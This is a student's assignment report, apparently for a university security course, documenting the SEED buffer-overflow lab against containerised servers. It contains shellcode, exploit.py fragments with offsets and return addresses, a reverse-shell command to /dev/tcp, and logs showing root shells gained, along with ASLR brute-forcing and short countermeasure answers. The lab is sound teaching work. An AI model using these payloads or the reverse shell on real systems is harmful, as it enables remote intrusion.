National Taiwan Normal University

CSIE Information Security: A Hands-on Approach

Instructor: Po-Wen Chi

Due Date: 11 15, 2021, AM 11:59

Assignment 3

系級：資工１１１　學號：４０７４７０３１Ｓ　姓名：劉子弘

3.1 SEED Lab (50 pts)

2 Lab Environment Setup

2.1 Turning off Countermeasures

```
[11/07/21]seed@VM:~$ sudo /sbin/sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
```

2.2 The Vulnerable Program

```
[11/07/21]seed@VM:~/.../server-code$ make
gcc -o server server.c
gcc -DBUF_SIZE=100 -DSHOW_FP -z execstack -fno-stack-protector -static -m32 -o stack-L1 stack.c
gcc -DBUF_SIZE=180 -z execstack -fno-stack-protector -static -m32 -o stack-L2 stack.c
gcc -DBUF_SIZE=200 -DSHOW_FP -z execstack -fno-stack-protector -o stack-L3 stack.c
gcc -DBUF_SIZE=80 -DSHOW_FP -z execstack -fno-stack-protector -o stack-L4 stack.c
[11/07/21]seed@VM:~/.../server-code$ make install
cp server ../bof-containers
cp stack-* ../bof-containers
```

2.3 Container Setup and Commands

```
[11/07/21]seed@VM:~/.../Labsetup$ dcup
WARNING: Found orphan containers (victim-10.9.0.80) for this project. If you removed or
 this service in your compose file, you can run this command with the --remove-orphans f
clean it up.
Starting server-2-10.9.0.6 ... done
Starting server-3-10.9.0.7 ... done
Starting server-1-10.9.0.5 ... done
Starting server-4-10.9.0.8 ... done
Attaching to server-3-10.9.0.7, server-1-10.9.0.5, server-2-10.9.0.6, server-4-10.9.0.8
[11/07/21]seed@VM:~/.../Labsetup$ dockps
33a2ae209cb6  server-3-10.9.0.7
59a11fb94c0a  server-2-10.9.0.6
5be633426ef7  server-1-10.9.0.5
c1bdffa965c3  server-4-10.9.0.8
[11/07/21]seed@VM:~/.../Labsetup$ docksh 5b
root@5be633426ef7:/bof#
```

Task 1: Get Familiar with the Shellcode

- 透過給予的 python 生成 binary shellcode

```
[11/07/21]seed@VM:~/.../shellcode$ ./shellcode_32.py
[11/07/21]seed@VM:~/.../shellcode$ ./shellcode_64.py
[11/07/21]seed@VM:~/.../shellcode$ make
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
[11/07/21]seed@VM:~/.../shellcode$ ls
a32.out  call_shellcode.c  codefile_64  README.md        shellcode_64.py
a64.out  codefile_32       Makefile     shellcode_32.py
```

```
codefile_32
00000000 EB 29 5B 31 C0 88 43 09 88 43 0C 88 43 47 89 5B 48 8D 4B 0A 89 4B 4C 8D 4B 0D 89 |.)[1..C..C..CG.[H.K..KL.K..
0000001b 4B 50 89 43 54 8D 4B 48 31 D2 31 C0 B0 0B CD 80 E8 D2 FF FF FF 2F 62 69 6E 2F 62 |KP.CT.KH1.1...../bin/b
00000036 61 73 68 2A 2D 63 2A 2F 62 69 6E 2F 6C 73 20 2D 6C 3B 20 65 63 68 6F 20 48 65 6C |ash*-c*/bin/ls -l; echo Hel
00000051 6C 6F 20 33 32 3B 20 2F 62 69 6E 2F 74 61 69 6C 20 2D 6E 20 32 20 2F 65 74 63 2F |lo 32; /bin/tail -n 2 /etc/
0000006c 70 61 73 73 77 64 20 20 20 20 20 2A 41 41 41 41 42 42 42 42 43 43 43 43 44 44 44 |passwd     *AAAABBBBCCCCDDD
00000087 44                                                                              |D
```

- 再透過給予的.c 去執行生成的 shellcode，結果吻合下面的 python 所生成的內容

```
[11/07/21]seed@VM:~/.../shellcode$ a32.out
total 64
-rw-rw-r-- 1 seed seed   160 Dec 22  2020 Makefile
-rw-rw-r-- 1 seed seed   312 Dec 22  2020 README.md
-rwxrwxr-x 1 seed seed 15740 Nov  7 22:33 a32.out
-rwxrwxr-x 1 seed seed 16888 Nov  7 22:33 a64.out
-rw-rw-r-- 1 seed seed   476 Dec 22  2020 call_shellcode.c
-rw-rw-r-- 1 seed seed   136 Nov  7 22:33 codefile_32
-rw-rw-r-- 1 seed seed   165 Nov  7 22:33 codefile_64
-rwxrwxr-x 1 seed seed  1221 Dec 22  2020 shellcode_32.py
-rwxrwxr-x 1 seed seed  1295 Dec 22  2020 shellcode_64.py
Hello 32
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
user1:x:1001:1001:,,,:/home/user1:/bin/bash
```

```
"/bin/ls -l; echo Hello 32; /bin/tail -n 2 /etc/passwd     *"
```

- 要刪掉檔案=>改動指定行=>結果如圖，生成/tmp/bad 檔並刪除

```
"/bin/touch /tmp/bad;/bin/ls -l /tmp;/bin/rm /tmp/bad;     *"
[11/07/21]seed@VM:~/.../shellcode$ ./shellcode_32.py
[11/07/21]seed@VM:~/.../shellcode$ a32.out
-rw-rw-r-- 1 seed seed 0 Nov  7 22:49 /tmp/bad
[11/07/21]seed@VM:~/.../shellcode$ ll /tmp/bad
ls: cannot access '/tmp/bad': No such file or directory
```

Task 2: Level-1 Attack

Task 4.1 Server

- 呼叫 server 可以看到提示的 frame pointer 和 buffer address

```
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffffd0f8
server-1-10.9.0.5 | Buffer's address inside bof():     0xffffd088
server-1-10.9.0.5 | ==== Returned Properly ====
```

Task 4.2 Writing Exploit Code and Launching Attack4.1 Server

- 依要求修改 exploit.py(shell code, payload inf.)

Open *exploit.py ~/hw03/Labsetup/attack-code Save

*exploit.py shellcode_32.py

```
1 #!/usr/bin/python3
2 import sys
3
4 shellcode = (
5
  "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5
6
  "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x5
7
  "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xf
8     "/bin/bash*"
9     "-c*"
10    # You can modify the following command string to run any
  command.
11    # You can even run multiple commands. When you change the
  string

9 # Put the shellcode somewhere in the payload
0 #&ebp=0xffffd0f8,&buffer=0xffffd088
1 #&ebp-&buffer=112
2 start = 517-len(shellcode)                # Change this number
3 content[start:start + len(shellcode)] = shellcode
4
5 # Decide the return address value
6 # and put it somewhere in the payload
7 ret    = 0xffffd0f8 + 10     # Change this number
8 offset = 112 + 4               # Change this number
```

```
[11/21/21]seed@VM:~/.../attack-code$ ./exploit.py
[11/21/21]seed@VM:~/.../attack-code$ cat badfile|nc 10.9.0.5 9090
```

◦執行後就得到了

```
server-1-10.9.0.5 | total 716
server-1-10.9.0.5 | -rwxrwxr-x 1 root root  17880 Nov  8 02:53 server
server-1-10.9.0.5 | -rwxrwxr-x 1 root root 709188 Nov  8 02:53 stack
server-1-10.9.0.5 | Hello 32
server-1-10.9.0.5 | gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/
server-1-10.9.0.5 | nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
server-1-10.9.0.5 | _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
server-1-10.9.0.5 | seed:x:1000:1000::/home/seed:/bin/bash
```

◦依要求改成把 sgellcode 改 reverse shell

```
shellcode = (
    "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
    "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
    "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
    "/bin/bash*"
    "-c*"
     "/bin/bash -i > /dev/tcp/10.0.2.15/9090 0<&1 2>&1           *"
```

```
seed@VM:~/.../attack-code$ ./exploit.py
seed@VM:~/.../attack-code$ cat badfile|nc 10.9.0.5 9090
```

◦執行並監聽即可地到 root privilege

```
[11/21/21]seed@VM:~/.../attack-code$ nc -lnv 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.5 60202
root@5be633426ef7:/bof#
```

Task 3: Level-2 Attack

◦一樣先 echo hello

```
seed@VM:~/.../attack-code$ echo hello | nc 10.9.0.6 9090
```

◦這次不知道 buffer 大小=>暴力解

```
server-2-10.9.0.6 | Got a connection from 10.9.0.1
server-2-10.9.0.6 | Starting stack
server-2-10.9.0.6 | Input size: 6
server-2-10.9.0.6 | Buffer's address inside bof():     0xffffd038
server-2-10.9.0.6 | ==== Returned Properly ====
```

◦因下兩 = > 減少 offset 暴力解次數以便不被發現

```
Range of the buffer size (in bytes): [100, 300]
Use 4 for 32-bit address
```

◦修改 exploit.py

```
#&ebp=?,&buffer=0xffffd038
#&ebp-&buffer=?
ret    = 0xffffd038 + 300    # Change this number
for i in range(60):
    offset=i*4
    content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
```

◦然後執行

```
seed@VM:~/.../attack-code$ ./exploit.py
seed@VM:~/.../attack-code$ cat badfile|nc 10.9.0.6 9090
```

◦ 成功獲得 root

```
[11/21/21]seed@VM:~/.../attack-code$ nc -lnv 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.6 43042
root@59a11fb94c0a:/bof#
```

Task 4: Level-3 Attack

◦ 對 6 4 位元的 buffer 一樣先 echo hello 得到如下

```
seed@VM:~/.../attack-code$ echo hello | nc 10.9.0.7 9090
server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 6
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof():  0x00007fffffffe030
server-3-10.9.0.7 | Buffer's address inside bof():     0x00007fffffffdf60
```

◦ 為解決 payload 出現 0 得問題(最高為 00 會提早結束)=>修改 exploit.py

◦ 改為 64 位元的 shell code，start 取 0，offset 設為 rbp-buf addres+8

```
start = 0                    # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
#&ebp=?,&buffer=0xffffd038
#&ebp-&buffer=?
ret    = 0x00007fffffffe500    # Change this number
offset = 216
content[offset:offset + 8] = (ret).to_bytes(8,byteorder='little')
```

◦ 然後執行後獲得

```
server-3-10.9.0.7 | Hello 32
server-3-10.9.0.7 | gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/u
/sbin/nologin
server-3-10.9.0.7 | nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
server-3-10.9.0.7 | _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
server-3-10.9.0.7 | seed:x:1000:1000::/home/seed:/bin/bash
server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
```

Task 5: Level-4 Attack

◦ 對於 return-to-libc 一樣先

```
server-4-10.9.0.8 | Got a connection from 10.9.0.1
server-4-10.9.0.8 | Starting stack
server-4-10.9.0.8 | Input size: 6
server-4-10.9.0.8 | Frame Pointer (rbp) inside bof():  0x00007fffffffe030
server-4-10.9.0.8 | Buffer's address inside bof():     0x00007fffffffdfd0
server-4-10.9.0.8 | ==== Returned Properly ====
```

◦ 只要取一個大一點的 ret 就好

```
start = 517-len(shellcode)
```

```
ret    = 0x00007fffffffdfd0 + 1200
offset = 104
```

```
server-4-10.9.0.8 | gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/g
/sbin/nologin
server-4-10.9.0.8 | nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
server-4-10.9.0.8 | _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
server-4-10.9.0.8 | seed:x:1000:1000::/home/seed:/bin/bash
```

Task 6: Experimenting with the Address Randomization

- Countermeasures 開回來=>每次下命令地址都在變

```
[11/21/21]seed@VM:~/.../attack-code$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
[11/21/21]seed@VM:~/.../attack-code$ echo hello | nc 10.9.0.8 9090
^C
[11/21/21]seed@VM:~/.../attack-code$ echo hello | nc 10.9.0.8 9090
^C
[11/21/21]seed@VM:~/.../attack-code$
server-4-10.9.0.8 | Frame Pointer (rbp) inside bof():  0x00007ffebf783630
server-4-10.9.0.8 | Buffer's address inside bof():     0x00007ffebf7835d0
server-4-10.9.0.8 | ==== Returned Properly ====
server-4-10.9.0.8 | Got a connection from 10.9.0.1
server-4-10.9.0.8 | Starting stack
server-4-10.9.0.8 | Input size: 6
server-4-10.9.0.8 | Frame Pointer (rbp) inside bof():  0x00007ffc574efac0
server-4-10.9.0.8 | Buffer's address inside bof():     0x00007ffc574efa60
```

- 透過實驗利用給的指令可以發現總有一天會爆到一樣的地址

```
11 minutes and 2 seconds elapsed.
The program has been running 114256 times so far.
```

```
[11/21/21]seed@VM:~/.../attack-code$ nc -lnv 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.5 60202
root@5be633426ef7:/bof# exit
```

Task 7: Experimenting with the Address Randomization

Task 7.a: Turn on the StackGuard Protection

- 在少了-fno-stack-protector 後就被檢測到 stack smashing 了

```
[11/21/21]seed@VM:~/.../server-code$ ./stack-L1 < badfile
Input size: 517
Frame Pointer (ebp) inside bof():  0xffed7a98
Buffer's address inside bof():     0xffed7a28
*** stack smashing detected ***: terminated
Aborted
```

Task 7.b: Turn on the Non-executable Stack Protection

- 回到之前的部分把-z execstack 拿掉

```
all:
        gcc -m32 -o a32.out call_shellcode.c
        gcc  -o a64.out call_shellcode.c
```

- 就都有被擋住了

```
[11/21/21]seed@VM:~/.../shellcode$ a32.out
Segmentation fault
[11/21/21]seed@VM:~/.../shellcode$ a64.out
Segmentation fault
```

3.2 Environment Variables in GDB (15 pts)

我覺得..應該是沒有的。

寫一個可以印出環境變數的程式

```
#include <stdio.h>
int main(int argc, char *argv[], char const *envp[]){
        for (int i = 0; envp[i] != NULL; i++)
                printf("%s\n",envp[i]);
        return 0;
}
```

編譯並在 gdb 和一般模式下執行並輸出到不同檔案，並沒有找到有加環境變數

```
[11/21/21]seed@VM:~$ diff my_env gdb_env
15d14
< LOGNAME=seed
16a16
> LOGNAME=seed
18a19
> _=/usr/bin/gdb
21a23
> LINES=24
27a30
> COLUMNS=80
50d52
<  =./a.out
```

3.3 A Countermeasure Proposal (15 pts)

Heap 也會有 buffer_overflow 的問題，像是 malloc/free heap corruption，嚴格上來說，檢查好輸入和 buffer 長度還是比較有效且根本的辦法，話說往上長也有可能一直長到 return address...吧

3.4 Password Guess (15 pts)

1.透過 GDB 直接印出記憶體位置

2.利用 LD_PRELOAD 替換掉函式

3.直接進 dev/random 看

3.5 Heap Overflow (15 pts)

我也不知道，但感覺很危險，strcpy 會直接複製輸入過去的話，一個極大的 user_input 就會覆蓋掉其他的記憶體區段，如果還可以透過 gdb 則可以更容易地覆蓋想覆蓋的區域